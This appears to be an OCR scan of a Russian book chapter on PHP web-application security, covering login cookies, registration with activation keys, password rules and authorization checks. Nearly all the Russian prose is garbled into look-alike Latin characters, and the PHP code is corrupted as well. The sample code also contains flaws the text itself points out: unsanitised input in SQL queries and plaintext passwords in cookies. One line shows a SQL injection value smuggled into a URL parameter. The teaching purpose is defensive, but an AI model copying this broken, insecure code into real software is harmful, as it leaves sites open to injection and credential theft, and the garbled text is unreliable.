// Ecim nepemeunnas ﬁeaonacnoc-m ycTaHoBJeHa,  TO :-poﬁxomm npompm ee
if (§$secure!="") : y
// TNpoEepurs, COOTEETCTEYET M NEpeMeHHAR $Secure 3HaueHuo B Gase JasHHLX
$query = DBQuery("SELECT * FROM UsersTable WHERE
(ugser_name = 'Susername’); ‘ bl
$users = mysqgl_num rows ($query) ; diind
if (!Susers)
die("Oumbra abBropuaaupmM™);
$user_data = mysql fetch_ array($query);
if {tmammd == $user_data[password_field])
i ($secure == $user_data[secure_field]))

i . PGy Ja

// Bce B nopAnxe, NOML30BATEN: ABTOPHIOBAH
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$secure = md5 (rand (1, 1000000));

DBQuery ( "UPDATE UsersTable SET secure field ;."'ssecure' WHERE

user_name = 'Susername'");

setcockie("ssecure", $secure, mktime(0,0,0,1,1,2010));
else
{
// AsTopusauma HesepHa, ODHYIAeM NapaMeTps
setcookie("spassword", "", 0);
setcoockie ("ssecure", "', 0);

// Ecnm nepemensas GE30ONACHOCTH HE YCTAHOBNEHA, TO NPOBEPUTH
// ya u napons, ¥ YCTAHOBMTL NEpeMeHHyn Ge30MacHOCTH
if (($Susername) and ($secure==""})
{

Squery = DBQuery("SELECT * FROM UsersTable WHERE
(user_name = 'Susername');

Susers = mysql_num_rows (Squery) ;
if (!Susers)
die ("OumBra asrTopuszausm");

$user_data = mysql_fetch_array(Squery);
if ($password = Suserd[password_field]))
{
$secure = md5(rand(1, 1000000));
DBQuery ("UPDATE UsersTable SET secure field = '$secure’
WHERE user_name = 'Susername’");

setcookie("susername”, Susername, mktime(0,0,0,1,1,2010));
setcookie("spassword", $password, mktime(0,0,0,1,1,2010));
setcookie("ssecure", S$secure, mktime(0,0,0,1,1,2010));
print ("IoSpo noxanosaTe $ldata[0]");

}

else

{
print ("Oumbxra sBxoma") ;

}
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}
P>

// ®opMa mNA BBOIA MMEHM NMONBSOBATENA M NAPONA
<form action="index.php" method="post">
<B> Bxom B cucTemy </B>
Whan: <input name="username" size="20">
Mapons: <input type="password" name="password" size="20"><br />
<input type="hidden" name="clearsecure" value="1">
<input type="submit" value="Bxog">
</ foxrm>

JlasaiiTe paccMOTPMM 5TOT KO, MOTOMY YTO 3/eCh OYEHb MHOIO WHTEPECHBIX
pewennii. Hauxem Ml ¢ camoro KoHua — ¢ ¢GopMbl BBOOA MMEHW W NApoms,
a MoToM yxKe mepeitiem K nepssiM cTpoukam kona. [leno B ToM, yro pabora cie-
Hapus NOJKHA HaYMHATHCS ¢ GOPMBI, HO OHA HE MOXET PAcloNaraThcs B HaYane
KoJa 3-3a uenoab3osanus Gaitnos cookie H CeaHCOBBIX MEPEMEHHBIX,

B opme BBOjA ecTh HEBHAMMOE MOJIE ¢ HMEHEM clearsecure. B Kone y Hac By-
IeT nepemMeHHas $aecure, Kotopast 6yner cojiepxars 3HadeHie nons GesonacHo-
ot w3 aiina cookie. A ecim y monb3oBatens se ydersble sanucu? Boitus
ONH@XMBI, OH BCEraa GyNeT BXOIUTH IO/l OHUM W TEM XKe HMEHEM. Ecu nomp3o-
Baresib yKasan B (hopme HOBOE MMsi M MApoib, TO NMEPEMEHHAsA $clearsecure Oy-
JeT NnepefaHa cUeHapuio co sHavyeHueMm 1. B atom ciydae HeoGXOAMMO HCHONb-
30BaTh MMSI W TIAPOB, NepenaHHuie U3 dopmbl. Ecin nepeMeHHas He CONEPXUT
3HAYEHHE, TO HYXHO MCIOJIb30OBATL 3HAYeHus n3 (aitia cookie.
Crenyoumit Kox nposepser, Gepercs u uMs nonbiosarens us cookie (yeranos-
JieHa 1M NepeMeHHasn $susername). ECIM npu 3T0M He ycTaHOBNEHA MEpeMEHHas
$clearsecure, JHAYMT, _HeoOXoAMMO MCNONB30BATH AaHHBIE U3 cookie. B npo-
THBHOM ciiy4ae, NAHHBIE nonydeHsl or Gopmel. Creaosarenbio, naponb npe-
CTaBieH B OTKDAITOM BHIE, U €ro Hym{o 3aiudpoBaTh;
if ((isset(Ssusername)) and (!$clearsecure))
{ o Aadh
$username=S$susername;
$password=$spassword;
}
else 21 1148
{
$secure="";
spassword = mds ($password) ;
}
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Nanee, eciin MM TIoNb3oBaTeNs (NepeMEHHAas Susername) NPOCTOE, TO AOTIONHH-
TeNbHbIE TIPOBEPKH GECCMBICISHHDI, M CEAyeT MPOCTO BhiBeCTH cooblueHMEe o
HeoBXOAMMOCTH BXOIA B CHCTEMY:
if (!isset (Susername))

die ("HeoGxommo BoliTH B cucTemy");

Tenepb HYXHO NMPOBEPHTH NEPEMEHHBIE HA JOMYCTUMOCTh cumBoioB. [na 3roro
MOXHO HamucaTh QYHKIHIO check_param(), KoTopas Gyuer npocro youpars Bce
CHMBO/IBI, HE PA3pPCLICHHBIC SIBHO:
function check_param($var)
{

$var=preg_replace("/[~a-za-a0-9\., _\n}/i", "™, Svar);

return Svar;

)

BoispiBaeM 3Ty YHKUMIO [UISi KOKIOH MepeMeHHOi, nolyyaeMoil oT noib3oBaTeIs:
$Susername = check_param(Susername) ;
$secure = check_param(S$Ssecure);

TMaponb NpOBEPATE HE HAMO, MOTOMY YTO OH wnuq:poaau M MOXET CONepXaTh
HEJIoNyCTHMbIE CHMBOJILL UTOBBI Xakep He CMOT HCIONL30BATh MOJe MApONs Ui
peannsaumi araku SQL Injection, He ncnonbsyeM nepeMeHHylo $password 8 3a-
npocax, a MPOBEPAEM Napob YCNOBHOM onepauuei if.

Tenepb Bee roroBo mis Toro, Yrobsl mpoussecTH nposepky. Ecnu mpememian
$secure COAEPXKMT HEMYCTOE 3HAYCHWE, TO BRITIOIHALTCS cleAyIomuii Kom:

1. Muiem ctpoky B Baze saHHBIX, e ¥MS NOXL3IOBATENS emrmmym' y:a:mn
HOMY 3HAYEHMIO,

2. EcnW He HAWAEHO HH OLHOI 3armcu, TO BBIBOAWM caaﬁmenue 06 otinbke.

3. TMonyuaem AaHHBIE CTPOKH M [POBEPAEM MM nons3osarens u none besonac-
HoctH. Eciti BCe B mopsiike, TO reHepupyeM HOBoe monie 6e3onacHoCTH W co-
xpaHsieM ero B 6aze nanHbIX U B daitie cookie.

Janee BLIMOXHACTCS CXOXKMH KO, HO TONBKO MEPEMEHHAs $secure HE NMPOBEPsi-
ercs. D10 HeoGXOAMMO, ec/iM $secure PaBHA MYCTOMY 3IHAYEHWIO, A UMA ¥ Ta-

ponb nosydeHsl u3 dopmel. B cayyae ynayHoil npopepkm coxpaHsieM B daiine
cookie UM, Tapoib U noie 6e3onacHOCTH.

5.3.4. Perucrpauyms

MBI yXXe pacCMOTPeNiH, Kak IPOBEPHTh, SBIAETCS JIH MOb30BATEh ABTOPH30BAH-
HBIM, HO YIYCTWIM OCHOBY — KaK cO3aTh cucreMy perucrpaumu. [NMousemy rak
npousouto? Her, 310 He omrnbka. CrcremMa perdcTpatnyu He A0JKHA CO3IaBATh-
cs no cucremsl GesonacHocTH. BesonacHoCTs NMpeBbiilie BCEro, M €e HeJib3s Mol-
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TOHSTH NOJ PErHCTpalMio, Bee AOMKHO OuITh Haobopor — cHavana 3abOTHMCS
o GezonacHocTH, @ MOTOM MNHUWEM Ko, KoTophii Oyner KoGaBasTh HOBBIX MOJIb-
soBareneit.

Ipu paspaboTke cucTeMbl perdcTpauMu MONb3OBATENEH CYIECTBYeT MHOIO HIO-
4HCOB, M03TOMY JaBaiiTe obcyauM ocHOBHEIE TPeGOBAHUS W PeKOMEHAALMMH,

Ecnu wa samem cafite ecTs cueHapuit rolocoBamus, TO XOpomuM criocoGom 3a-
KT OT (iyaa (HAKPYTKM roNIOCOBAHWS) SBISETCS 3ANpeT roji0COBAHMS Heaa-
PETHCTPHPOBAHHBIM TONb3oBaTeAsIM. Takum oBpasom, uTobbl NONLIOBATENH CMOT
OTAaThL [Ba roloca, HYXHO ABAXKIIbL 3aPerHcTPHPOBATLCA B CHCTEME.

C oauoit cTOpOHBI, perucTpaumst A0/DKHA GbITH MakCcHMaNbHO TMpocroil, YTobht
MONbL30BATENb MOTPATHI CBOE BPEMS HAa PErHCTPALMIO, M B TO JKe BpeMs JocTa-
TOYHO GesonacHo#, Yrobbl OAMH W TOT XK€ NONL30BATE/lb HE CMOT 3aperucTpupo-
BaTbhest ABaXKBL, YToGnl MOGUTECH MPOCTOTHI, HYXKHO 3aNPAIMBATE Y TIO/I30BATE-
JISL TOIBKO HeoOXxonuMy1o HHGMOPMALKMIO W HHYEro NHUIHEro, A YTOGbl YCAOKHHTh
PericTpanyio, HaloO 3acTaBHTh MONbL30BATENNA BBOAMTHL MAKCUMAILHO NMPaBAONO-
JobHy10 HH(pOPMALMIO.

B GonmplumucTBE CAyvaes, juisi Toro, 4robbl NOGWTHCS YHHKANBHOCTH 3amuceit
MOJIL30BATENEH, MPOrPAMMUCTLI TIPUBA3LIBAIOTCS K HMEHH MONBIOBATENS U JEK-
TPOHHOMY afpecy. Xopolliee peuieHie, HO TAe FAPAHTHH, YTO MOJB30BATENb YKa-
3a1 IefiCTBUTENIBHO CBOM AaHHbie, a He Kakoi-Hubyuw Open? Jlobsie nposepku
o 1WaGNoHy He JanyT HeoOXOAUMOrO pesyibTara, MOTOMY YTO HECNOXKHO MpHiy-
MaTh HECYIeCTBYIOMN SeKTPOHHBIH anpec, KoTopwii npoiizer Jlaxe camyio
XKECTOKYIO MPOBEPKY PHIALTPOM.

Kak ke MOXHO rapaHTHpOBaTh, YTO MOJNB3IOBATENb BBEN JCHCTBHTENBLHO CyllecT-
BYIOLIMI DAEKTPOHHBINA aapec, U NPU 3TOM JAHHLI AAPeC NPUHALIEKHT PErHcT-
pupyowemycs nonssosaremo? [Mpocreilee, Ho addexrusHoe pelreHue —
Mnocie PerucTPany HANpaBIaATh cepsepy cooblueHue ¢ HeoGXOMUMOCTBIO AKTH-
BU3MPOBATH YYETHYIO 3aMHcCh, 4 O 3TOr0 CO3NAHHAS YYeTHas 3aNHCh HMOJKHA
ObITh HEAKTUBHOM.

Ecnu BBI crenaere cucreMy akTHBauMM, To 4ToOBl MONB3OBATENb CMOT 3apEerucT-
PHPOBATBECS ABAXIBI, €MY HYXHO MMETh /BA ACHCTBUTENBHBIX 3/IEKTPOHHBIX afl-
peca. Eciu nuuiHero siliMKa HeT, TO NMPHIETCA ero co3fasarb, YTO OTHUMET JO-
NOJHUTENbHOE BpeMs, H GOMBIIWHCTBO XaKkepoB He OyneT cRA3BIBATLECS C 3THM,
Kak adpdexkrusHo peannsopars cucremy akrupauun? ILisi 370ro MOXeT UCToNb-
30BaThCA MPUMEPHO CIEAYIOLIMI KOJI CLeHAPUS percTpaliiy NnoabaosaTens:
<?
// Buponm QOpMil BEONA PETMCTPAUMOHHEX NAHHEXN
if ((Susername=="") and (!isset($id)))

{
>

<form action="register.php" method="post">
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/{ ¢opma c monAMM, HeOOXOMDEMA LA PerMCTPALIM NOMESOBaTENA
A nonpsosBarTena <input name="username" size="32">
Napone <input name="passl" type="password" size="32">
Nonrsepmire napone <input name="pass2" type="password" size="32">
E-mail <input name="email" size="32">
<input type= suhzit' valum“&pamemcpoumcm
</form>
<?

}

// Permcrpalma nonbL30BaTend
if ((usernamet="")
, ;
if (Spassl != $pass2)
die("Mapons He COOTBETCTRYeT NONTBEepRIeHMO");

// Bpecs nomxen OuTh KON NOnKIOUEHMA ¥ Gase HaHHEX

// Ynanaem' me axTuBMpOBaHHLE B TeueHMe 2-X UACOB Samucu
Stmax=time ()-7200;
DBQuery ( "DELETE FROM users WHERE reg_time < $max AND active=0");

// Tiposepsem, ects ;v B OGase NONLSOBATeN: C -mm E-mail mm mvenem
$query = DBQuery("SELECT * FROM users WHERE user.name =
'$username’' or mil = 'Semail'");
if (mysgl_num rows($query))
die("Taxoi nomp3cpaTens yxe cymecrsyer");

Sactivatekey = mdS (rand(l, 1000000) ) . $usemme
$passwords=mds ($passl) ;
Suserrtime = time();

DBQuery("INSERT INTO users (useér_name, pass, reg_time, email, key,
active) VALUES ('Susername', '$password', 'Suserrtime', 'Semail’,
'Sactivatekey', '0')");

$mailbody = "Bama ydYeTHasa sSamick NoMemeHa B odepens oOHOBNenma.\n\n Ins
nouTEepRIeHUA ODHOBISHMA WENIKHMTE 3Oech:\n
http: //www.yoursite.com/register.php?id=Sactivatekey \n\nCnacuto";
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// OrnpaemTe nuceMO Ha ampec $email ¢ mexcmom nepemeHsoll $mailbody
} i

// BxTuBauUMA NONLSOBATENH
if (isset($id))
{
$result = DBQuery("SELECT * FROM users WHERE key = '$id' and ac-
tive=0");
Sdata = mysgl_fetch_array(Sresult);
if (!mysgl_num_rows ($result))
die("Kon orcyrcrsyer. Bumavo, sana perucTpauma ycrapena");

DBQuery (*UPDATE users SET active=1, key="" WHERE key = '$id' and ac-
tive=0");

print ("AxTusaumsa npomna ycremmo");
}
7>

DTOT KO/ HE 3aKOH4eH U Tpebyer nopaboTKu Mox KOHKpPETHY 6asy NAHHBIX, HO
XOpOIIIO OTPEKAET JOIHKY THITHYHONO cueHapus akrusamuu. [Jasaiitre paccmor-
PHUM, YTO 3[ECh MPOUCXOIMT.

Ecau nepemernble $username (MMS PErHCTPHPYEMOrO MONL30BATENS) M $id (Kox
aKTHBALIMK) HE YCTAHOBAEHLI, TO BbIBOAUM ¢opMy peructpaunu. Ha dopme mbl
3anpamnBaeM caMblif MUHUMYM — MMs, Napofib C TIOATBEPXKACHUEM W EKTPOH-
HBI apec.

Eciu uMs NOB3OBATENS YKA3aHO, TO CHAYANA TIPOBEPAEM, COOTBETCTBYET JIH na-
ponb noarsepxieHuio. Ecnu Her, 3HaunT, nosk3osareas omwnbes TpU BBoje ma-
posisi, ¥ NpooDKaTh Henbad. M3-3a 3ol omnbKH HONB30BATE/ L HE CMOXET BOH-
TU HA caifT.

IMpexae yem pobGaisTs HOBYIO 3aNMCh, ylansieM W3 TAGMMILI Beex Mojb3oBare-
nieit, KTO 3aperueTpupoBaicsi, HO He aKTHBHPOBANICS B TEYEHME ABYX YACOB!

$tmax=time()-7200;
DBQuery("DELETE FROM users WHERE reg_time < Stmax AND active=0");

3aueM HY)XHO YHCTUTH mﬁuuuy? B peanbHoll XH3HM O4EHL MHOTO MOJb3OBaATE-
Jeit nerraoTeA pemcmupom € HEMpaBHILHLIMH anempounumn agpecamu
TPOCTO MOTOMY, YTO Gom'm ykasath cBoit anpec. 310 Gosi3Hb Yallle BCEro obmsic-
HAETCH pamymm KostmdecTBoM criama. JIIosM He OYeHb XOUeTcs, OIHH pa3 "3a-
CBETHBILKCE", MOMYYaTh HA CBOH IEKTPOHHBII anpec TOHHBI HEHYXHOI Koppec-
MOHIEHUUH. ‘!mﬁn KOMNYECTBO 3aPErHCTPHPOBAHHEIX, HO HE AKTHBUPOBAHHBIX
3anuceil He MpeBLICHIO BCE Pa3yMHbIe Tpenensl, W NPOW3BOAAT YUCTKY 6assl
JIAHHBIX. :
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Teneps nposepsieMm, ects W B 6asze 3anuch ¢ TAKAM MMEHEM W TAKIM HaponeMm.
Ecnu na, To Heobxoaumo npepsarh paboty cueHapus. Ecim maHHbie YHUKTLMEL,
TO MOXHO J00aBisTh perucTpaunoHtyio uHpopmaumo. Ho B Gase naHHEIX, ro-
MHMO HMEHH, MAposi W 3NEKTPOHHOrO ampeca COXPAHMM BpeMsi perMcTpauuu
B nojie reg_time TaOAMIBL, KIIOY aKTHBAUMM (mone key) M cocTosiHME (noaio
active npucBouM 0, T. e. monk30BaTeNkL HE AKTHBUPOBAH).

Yro ucnonb3oBaTh B KavecTse Kiova aktusauun? 3HavyeHue JOMKHO ObiTh yHU-
KATbHBIM U TIPH 5TOM He NOCTYNHBIM MUA noabopa, uyTobkl Xakep He CMOT yralarsh
KJII0Y M aKTHBMPOBATH YYeTHYIO 3anuck Ges ykasaHusi MPaBHIBHOrO 3MEKTPOH-
Horo aapeca. B xavyecrse mpumepa Mbl TeHepupyeMm. cayualiHoe 4mciio U mndpy-
eM ero ¢yHkumeii mds (). Takoe 3Havenue nonobpars 3a 2 yaca nNpH BEEM Xena-
HUY Oyrer oveHb CJIOXHO, @ MOCAEe ITOr0 HenoxTRepxjieHHass uHbopMauMs o
pervcTpaunu Gymer ypanesa., Ho He CTOMT HajaeaThCs Ha ciayvailHbie uucna.
Kowmnslotep Ge3 npobiieM MOXeT CreHepHpoBaTh ABa OAHWHAKOBBIX YMCNA MOAPIA,
noatomy npubasisem K sromy WHGPY UM PErUCTPUPYEMOrO MOIL30BATENS.

[Mapons Takke xpaHum B Gase AaHHBLIX B 3awudpoBanHoM Bune. HanuumeM kon
IS co3naHmus B 6ase NaHHBIX 3aTMCH O PerucTpalny:

Sactivatekey = md5(rand{1l, 1000000)).Susername;

Spassword=md5s ($passl);

Suserrtime = time();

DBQuery ( "INSERT INTO users Eusarm pass, reg time, email, w.
active) VALUES ('Susername’, '$passhoz'd 'Sugerrtime*; 'Semail',
‘Sactivatekey', '0")");

Teneps ompasnueu MOJB30BATENIO TMCHMO (0 pAcehIIKe COOBIUEHUIT MBI TIOTO-
BOpUM B pasdere 5.9) ¢ URL mna akrupaunn. Kak jnomken swirmsmers URL?

B mamieM ciyuae CHEHApHil OXMAAET KO AKTWUBALMM B HapaMeTpe id, MoaroMmy
URL mMoxer BeIrisiaeTs TaK:

http://www.yoursite.com/register.php?id=S$activatekey

Mgl nporpamMHo Jobasisiem K ctpoke URL ums napamerpa w npucsansaem emy
3JHAYeHHE NMepeMEHHON Sactivatekey.

Teneps obcynum cam kon akTuBauun. Eenu nepeMmenHass sid ycTaHOB/EHA, TO
npoBepaeM, AeHCTBUTENLHO I ecTh B 6a3e moibioBaTelh ¢ TAKUM KOAOM, W NPH
3TOM 3anuch He akTWBHA. EciM HeT, TO coobiaem noabL30BaTeNio, YT0 OH HE yC-
nen aKTHBHPOBATBCS, M MY NMPUAETCA MPOXOAMTHL NMPOLEIYPY PErHCTPALIMM 3aHO-
Bo. Ecim 3anuch ecTh, To oOGHOBISEM €e, OUMILAA TONE key, 4 B MONe active
yctaHasnusaem |.

DTO TONLKO TIPUMEP JIOTHKH, KOTOPHI elle HYXHO a.nanmpom NOA peansHble
yCI0BHSI, HO OH JZOCTATOYHO HAmIsUIeH ¥ whdopMmaTuseH. 5 1omkeH Bac npesoc-
Tepeub OT HCMONL3OBAHHS 3TOTO CIEHApUs B TakoM Buae. BHumarensHo pac-
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CMOTPHUTE €ro U Haiinmnre ase siBHble ownbku. [Mpobrema GesonacHoeTH 3TOrO
CLEHApHs ‘B TOM, YTO HW OAMH lapaMerp He nposepsietes: Heobxonumo 106aBuTh
B HAYAJIO CHEHAPHsI NPOBEPKY NPUMEPHO CAEAYIONIEro BiAa:

Susername = check_param($username) ;

$id = check_param{$id) ;

Semail = check param(Semail);

$passl = check_param(S$passl);

$pass2 = check param($pass2);

Ob6paruTe BHUMaHKE, YTO MPOBEPSIOTCS BCE NMapaMmeTphl, B TOM uucie ¥ $id, Xo-
TS 3Ta nepeMeHHas mnepenaercs He u3 dopmel, a U3 URL, xoropsiit momysaer
TOAB30BATENb, XAKep JIeTKO MOXET W3MEeHHTh 3TOT mapamerp u Habpars 8 URL
YTO-TO THMNA:

http://www.yoursite.com/register.php?id=";SHOW DATABASES;--'

M rakoit 3anpoc BLIMOMHUTCS, MOTOMY YTO 3HAYEHUE MepeMeHHOoll §id nepemaer-
csi SQL-3anpocy, U HH OOWH cayXeOHBIIH CHMBOJI HE BhIpE3aeTcs.

Ecnu naposnu B 3anpocax He y4acTBYIOT, TO MX MOXHO HE MpPOBEpATh, YTOBSI Ciry-

yafiHO He BHIPE3aTh HYXHBIH CHMBOJ, Ge3 KOTOPOrO NONL30BATENb HE CMOXET
BIIOC/IEJICTBHH BOHTH B CHCTEMY.

K Mpumeyanve }

WcxopHsiit koA Bbl MoxeTe Haiith B channe \ChapterSiregister.php Ha komnakT-
AUCKE, NpunaraeMom K KHure,

5.3.5. CnoxHoctb naponei

B paszdese 3.2.5 Mpl nocTatouHo MOAPoOHO ToBOPHIM O TOM, YTO mﬁnpaemme
MONL30BATENAMH TIAPONH JIOJDKHBI GbITh CNOXHBIMH, 4TODHI MX TpyaHee Obuio
nonbupars. Kak 66l BBl HH YroBAPHBAIIN 1OCETHTENH CO3AABATL CHOXKHBIE Mapo-
M ¥ HY OGBACHSUTH OMACHOCTH qWerty WM Mapoisi, COOTBETCTBYIONIErO HMEHH,
nonobHbIe 3aMUCH NOCTOAHHO MOAWIAIOTCS B Gase nannbix. Eme xyxe, eciau 5TH
3aMKMCH BCTPEYAIOTCST Y MPHBUIErHPOBAHHBIX MOCETHTENEH.

Ecnu perucTpauus faet JAOCTYI K BAKHOMY CONEPXKUMOMY, TO HE CTONT HAICATL-
¢ Ha CTOXHOCTH BHIGHPAEMBIX TIONB30BATENAMYU Taponeit, HeoGXxoaMMO TTPHHYX-
JaTh WCMONb30BATE CHOXKHBI maponb. Kax aro moxuo caenars? Tyr ects asa
BapuaHra:

O chaenath MHOIOMMCJEHHBIE TPOBEPKH BEOAWMOrO MOML30BATENEM Napols,
K KOTOPBIM MOXHO OTHECTH:

* NPOBEPATH JUIMHY BBOAMMOTO MAPO/s M 3aCTABISITh M0Jb30BATENS BBOAWTD
He MeHee 8§ CHMBOJIOB;
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¢ [3apoNb JOJDKEH COAEPXKATH He TONBKO GYyKBbI, HO H LMGPL U CHMBONSL
Mpu arom Gyksbl nomkHbl GbiTe B 06oMX pervcrpax. [ns 3roro MoxHo
BBITIOJIHUTE YETHIPE MPOBEPKM preg_match, W €CHM XOTH Obl OAHA M3 HUX
BEpHET OTPHIATENbHBIN pe3ynsrar, HeoOxomuMo GymeT 3acTaBUThL MOJILIO-
BaTens NPUAYMaTh 4To-To Gonee crnoxHoe:
if (!preg_match("/[A-2]/", $var))

{

die("Napons mnomkeH cofepxaTk Oyksu B BepxHeMm permctpe") )

}

if (! (preg_match("/[a-z]/", $var)))

{

die("Tlapome momxen comepmars Gyxms B WukHeMm perucrpe ");
}

if (lpreg_match("/[.-_*&*%S5#@!~]/", Svar))
{

die("Mapones momxes comepkaTs CUMBOIE") ;
}

if (!preg match("/0-9/", $var))

{ :
die("Maposne momxeH cComepxaTh imbpe);
}

0 npoBepKH — 3TO XOpOLIO, 4 BOT CAMOCTOSTENBHO (cueHapueM Ha cepeepe)
CreHepUPOBAHHBIN 11apo/ib MOXKET ACHCTBUTEIBHO rAPAHTHPOBATD, YTO Mapolb
nosb3oparesia He Gyaer ObicTpo MonodpaH. ANITOPUTM CO3AaHUs CTPOKH NMApo-
N8 MoXeT OBITh JIOOBIM, [JIaBHOE, 4TODBI OH PeHepUPOBaN ACHCTBHUTENBHO
cayyaifHeie AaHHble. Torna perucTpaums Ha caiire Gyaer BHIVISLETb CleLy:o-
HM obpasom:

* BBOI PErHCTPALUMOHHBIX TAHHBIX W BHIGOP HMEHM MONB3OBATENS;

e CcepBepHasl NporpaMMa TeHEPUPYET CTPOKY Mapofisi M BLICBUIAET €€ KIMEHTY
HA MEKTPOHHbIN aipec, BBIHYXIAA HCMOIB30BATH TO, YTO CO3AAN CLEHAPHIL.

5.3.6. 3awumra coeguHeHuUn

Henocratku NpUMEPOB, PacCMOTPEHHBIX paHee, 3aKMOYAlOTCSs B TOM, YTO JaH-
Hble 10 ceTH MEPENaloTcs B OTKPLITOM BUle, M M06OH Xakep, KOTOpbii cymeer
repexBaTUTh COSAMHEHHME W TIAKeThl C NMAPONAMM, CMOXET TONYYHTH HOCTYM
K cepsepy. Bosnee HamexHble criocobbl ayreHTUMWKALNU ~ HCIIOMB30BAHNE Cep-
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THdukaros uiaM nacrnopros or Microsoft (Microsoft Passport). Ecniu ssi paspa6a-
THIBAETE KPYIMHBIH KOPNOPaTUBHBIH CailT, TO PacCCMOTPUTE BOIMOXHOCTE MpUMe-
HEeHUSl OHON W3 3TUX TexHonoruit. st GonbmHETBA TOMAWHUX W HeBOMBILINX
caiiTos 3T0 DyIET CAMUIKOM CAOXHO H JIOporo,

Cepruduxarsl WHPPYIOTCS ¢ MOMOUIBI0 AITOPUTMA € OTKPHLITBIM KIIOYOM, MO-
3TOMY NEpexsar HaHHbIX cTaHOBUTCH BeccMmbicieHHbIM, W60 paciumdpoBarTh Takue
JIaHHbIE TPAKTHYECKH HeBO3MOXHO. TouHee cKa3arh, BO3MOXHO, HO 3aTpaThl M
BpemMsi Ha BaIoM OyayT ciauiikoM GofbluMMH M, cKopee Beero, saundpoBaHHEIE
NaHHBlE YXKE YCTAPEIOT U MOTepsioT KaKylo-Tnbo LeHHOCTS.

CroxHas 3amura yepes cepTudhuKarsl U nacnopra HeobXonuMa TONEKO TaMm, TaE
TIPUCYTCTBYIOT ASHCTBMTENBHO KOH(MUIEHUINATbHbIE IaHHbIE, HAPUMEP, TIPH pa-
GoTte B HHTEPHET-MarasuHe, re o ceT! MepefaloTes HOMEPa KPeAUTHBIX KapT.

5.4, AsTopusauus

Yrobsl sanbHeHwWii pasroBop WIel Ha OMHOM S3bIKE, HEOOXOAUMO YETKO MOHH-
MaTh, MeM OTIMYaeTcs ayTeHTUdUKALMs OT asropMsaumu. AyreHTHhUKaLHs
3aKTI042eTCA B MPOBEPKE UMEHU TO/Ib30BaTe A U Napos, a aBTOPU3ALINs 32K~
4aercst B MPOBEPKE TOro, YTO paspeuieHo Aenars noib3osarenio. C ayrentuduxa-
Heit Mbl pasoBpainck U yBHIEAH OCHOBHbIE OMACHOCTH, ¢ KOTOPHIMH Bbl MOXETe
CTONKHYTHCS.

ABTOpM3aLHsA HE MEHee ornacHa, W OMIHOKY 3ech HEPEAKO MPHBOIAT K MOBLIILE~
HHWIO MOJNL30OBATENAMI CBOMX Mpas. [omycTHM, YTO Xakep CMOT ABTOPH30BATHCA
Ha BalleM caiiTe KaK MpocToil Mois3OBaTeNb. Tenepb OH MOXET BBINONHSTH Ofl-
pelle/IeHHbIE CHEHAPHM C ONpeleNeHHBIMM NpaBaMM W orpaHuyeHusmu, Pac-
CMOTPUM MPUMEP OrpaHHYeHHMs HOCTYNAa K ONpPENeNeHHOMY TOYTOBOMY SLUMKY
yepes Web-untepdeiic. lNpoitns ayreHTndukaunio, CUEHAPHII NOKEH coxpa-
HWUTb rIe-T0 UHMOPMALHKIO O TOM, K KAKOMY MMEHHO 3JIeKTPOHHOMY TIOUTOBOMY
SUAKY TIpOMCXoauT aoctyn. Eciu 310 3HaYeHWe JOCTYITHO IS pPeaaKTUPOBAHMS,
TO B3JIOMIIMK MOXET M3MEHUTH ero v, oboinsn orpaHUYeHUe, MepeKliounThCA Ha
yrpasAeHue APYruM MOYTOBLIM SILIHKOM.

Ovyenp YyacTo Ha calitax GbiBaeT Heckoibko ypoBHeil mpas pocryna. Hampumep,
rocresas y4e€THasA 3aMMCh No/b30BaTeNs (hopyma paspelaer TOABKO MpPoCMaTpu-
Barh cooBbIlIeHHs, 3aniichk ABTOPM30BAHHOIO [ONL30BATE/IS MO3BONSET CO3AaBATL
HOBbIE TEMbI, MOIEPATOP MOXET PelaKTHpOBaTh M YAAIATE 4YyXue coobuieHms,
a anMUHMCTPATOp MMeeT mosHbie npasa. [ToayduB xors 661 MUHHMANbHBIE MpaBa,
xakep Oyzmer CTPEMHMTbCS NMOBBICHTH MX M BblIATh cebsf 3a Mozeparopa WIH Jaxe
AIIMHHHMCTPATOPA.

Monyuaerca, 4TO ONHONM ayTeHTUGUKALMKA HEIOCTATOYHO, HeoGXomMMo nocse
3TOTO MPH KAXIOM OOPAlEHHH K onpele/ieHHbIM GYHKLUMAM MpoBepATh, a aeii-
CTBUTENBHO JIH TIO/Ib30BATEh MMEET MpaBo 310 menars? BoT 310 M ecTh aBTOpH-
sauus. Eciu ayreHTHOUKALNA JODKHA TTPOUIBOIMTECS TONBKO ONWH pas, TO as-
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TopM3auns HeobXoauMa nepen BbhMoAHeHHeM Joboil onepauuu; xoropas He
loNKHA GbITH AOCTYMHA BCEM.

Knaccuyeckas oumbka nporpaMMiHCTOB — TIPOBEPKd ABTOPU3ALINK B OAHOM clie-
HapyM, a pabora ¢ maHHLIMK B apyroM. Hanpumep, y Bac ects ¢opma st Bsosa
AAHHBIX O Mons3oBarese B daiine index.php:

if (paspeweno)

{

<?

<form action="authorize.php" met;_hod="post">
<BR>BremmTe nmaHHme: <input name="userdata'>
<P><input type="submit® value= '.m::ex'::

</ form>

7>

}

CHauana MpoOMCXOOUT [MPOBepKa, paspelleHo jsu orobpaxars ¢opmy, a norom
yxke orobpaxaercs d¢opmMa, ormpasisioman AaHHsie cuenapuio authorize php.
Ecnu xakep y3Haer o cymecTsoBaHuM 3toro ¢aiina M MMEHaX NapameTpol, TO
emy He cocTasut Tpyaa cosnate HTML-daiin ornpasku paunsix y cebs Ha xecr-
KOM JIMCKE M HAMPaBUTh JaHHble HemocpeacTseHHo (aitny authorize.php, obxoas
MPOBEPKY AOCTYMA. ABTOpM3ALIMA AOIKHA ObiTh B 060uX daiinax:

O B index.php Bbl AOKHBI MPOBEPUTH NPABO NOCTYNA, YTOOI 3HATH, HYXHO JIH
orobpaxars opmy BBoaa. [ToMHUTE, YTO 3TO HE 3alLMTA, @ BCErO JHLIb Cie-
[IOBAHHE XOPOUIMM Manepam B oOpPMIEHHH caiiTa, KOrga Ha CTpaHMie OTo-
Opaxaercs TONBKO TO, YTO AOCTYITHO, PaspeilieHO W HYXKHO, a Bce JIHUIHee
npsuercst; P '

O B authorize.php nposepsieM NpaBo JOCTYrNa Ha BeIMOJHEHNWEe Komauasl, Mumen-
HO 3Ta NPoBepKa oTBedaeT 34 6e30MacHOCTb, W ITO YX€ HE JaHb MOIE WIW
KaKMM-TO npaBuiam, 310 GesonacHocth. Ecnu paHHbie, nonyyenHsie M3 (hop-
MBI, Tiepefalorcest it o6paboTKH B HECKOABKO CHEHApHEeB, TO B KAXIOM H3
